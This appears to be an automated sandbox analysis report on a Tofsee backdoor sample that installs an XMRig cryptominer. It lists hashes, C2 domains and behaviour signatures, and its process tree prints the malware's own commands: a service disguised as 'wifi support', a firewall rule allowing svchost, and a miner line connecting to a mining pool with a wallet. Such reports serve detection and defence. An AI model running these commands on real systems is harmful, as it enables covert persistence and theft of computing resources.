Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    06-06-2022 11:32

General

  • Target

    57efeee8a462cb7aad1342613a7afb96.exe

  • Size

    262KB

  • MD5

    57efeee8a462cb7aad1342613a7afb96

  • SHA1

    3fafa99c551edd87e9faadefc600f324c8203542

  • SHA256

    1d8b78fcbb6f3e68c24f759b86c7cea38f5b5642a9d2c556cc9c35a7ee24b8d4

  • SHA512

    1cfb3ef43304a6bd4368eb875e7a50ed88b0cd60ad477a95197f9be7bfe32930c1e1d3cd15a8e7793c6c594727e521c4d96d4fd1097733410400a8f100c4daf1

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\57efeee8a462cb7aad1342613a7afb96.exe
    "C:\Users\Admin\AppData\Local\Temp\57efeee8a462cb7aad1342613a7afb96.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\awavkkgr\
      2⤵
        PID:2004
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\njehrnrc.exe" C:\Windows\SysWOW64\awavkkgr\
        2⤵
          PID:968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create awavkkgr binPath= "C:\Windows\SysWOW64\awavkkgr\njehrnrc.exe /d\"C:\Users\Admin\AppData\Local\Temp\57efeee8a462cb7aad1342613a7afb96.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1120
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description awavkkgr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start awavkkgr
          2⤵
          • Launches sc.exe
          PID:1132
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:520
      • C:\Windows\SysWOW64\awavkkgr\njehrnrc.exe
        C:\Windows\SysWOW64\awavkkgr\njehrnrc.exe /d"C:\Users\Admin\AppData\Local\Temp\57efeee8a462cb7aad1342613a7afb96.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:268
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1748

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\njehrnrc.exe
        Filesize

        14.9MB

        MD5

        ef5fac5d9821dbfc2a91213a2366e94a

        SHA1

        e132bb57bc8581d19319a9e5f2c13302513eb9a1

        SHA256

        ae4ab0a58c42aab1c82c32095860be6639482e6f51fd67cc6eecfec2d50e15bd

        SHA512

        90f959fece8c12edb65c0dce4447a0135a0a9bfe2ee7c4fe5e66bf486a52f3c434985d1c561819a5e12bf139ea676a862fa6c093292b5f8635623658fe13a14b

      • C:\Windows\SysWOW64\awavkkgr\njehrnrc.exe
        Filesize

        14.9MB

        MD5

        ef5fac5d9821dbfc2a91213a2366e94a

        SHA1

        e132bb57bc8581d19319a9e5f2c13302513eb9a1

        SHA256

        ae4ab0a58c42aab1c82c32095860be6639482e6f51fd67cc6eecfec2d50e15bd

        SHA512

        90f959fece8c12edb65c0dce4447a0135a0a9bfe2ee7c4fe5e66bf486a52f3c434985d1c561819a5e12bf139ea676a862fa6c093292b5f8635623658fe13a14b

      • memory/268-68-0x0000000002E98000-0x0000000002EA9000-memory.dmp
        Filesize

        68KB

      • memory/268-80-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/268-78-0x0000000002E98000-0x0000000002EA9000-memory.dmp
        Filesize

        68KB

      • memory/520-66-0x0000000000000000-mapping.dmp
      • memory/968-60-0x0000000000000000-mapping.dmp
      • memory/1120-62-0x0000000000000000-mapping.dmp
      • memory/1132-64-0x0000000000000000-mapping.dmp
      • memory/1172-54-0x0000000000308000-0x0000000000319000-memory.dmp
        Filesize

        68KB

      • memory/1172-59-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/1172-58-0x00000000001C0000-0x00000000001D3000-memory.dmp
        Filesize

        76KB

      • memory/1172-57-0x0000000000308000-0x0000000000319000-memory.dmp
        Filesize

        68KB

      • memory/1172-67-0x0000000000308000-0x0000000000319000-memory.dmp
        Filesize

        68KB

      • memory/1172-69-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/1172-55-0x00000000755A1000-0x00000000755A3000-memory.dmp
        Filesize

        8KB

      • memory/1556-71-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1556-85-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/1556-73-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1556-109-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1556-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1556-97-0x0000000000180000-0x0000000000187000-memory.dmp
        Filesize

        28KB

      • memory/1556-82-0x0000000001970000-0x0000000001B7F000-memory.dmp
        Filesize

        2.1MB

      • memory/1556-74-0x0000000000089A6B-mapping.dmp
      • memory/1556-88-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1556-91-0x0000000000170000-0x0000000000175000-memory.dmp
        Filesize

        20KB

      • memory/1556-94-0x0000000005550000-0x000000000595B000-memory.dmp
        Filesize

        4.0MB

      • memory/1748-100-0x0000000000270000-0x0000000000361000-memory.dmp
        Filesize

        964KB

      • memory/1748-102-0x0000000000270000-0x0000000000361000-memory.dmp
        Filesize

        964KB

      • memory/1748-107-0x000000000030259C-mapping.dmp
      • memory/2004-56-0x0000000000000000-mapping.dmp
      • memory/2036-63-0x0000000000000000-mapping.dmp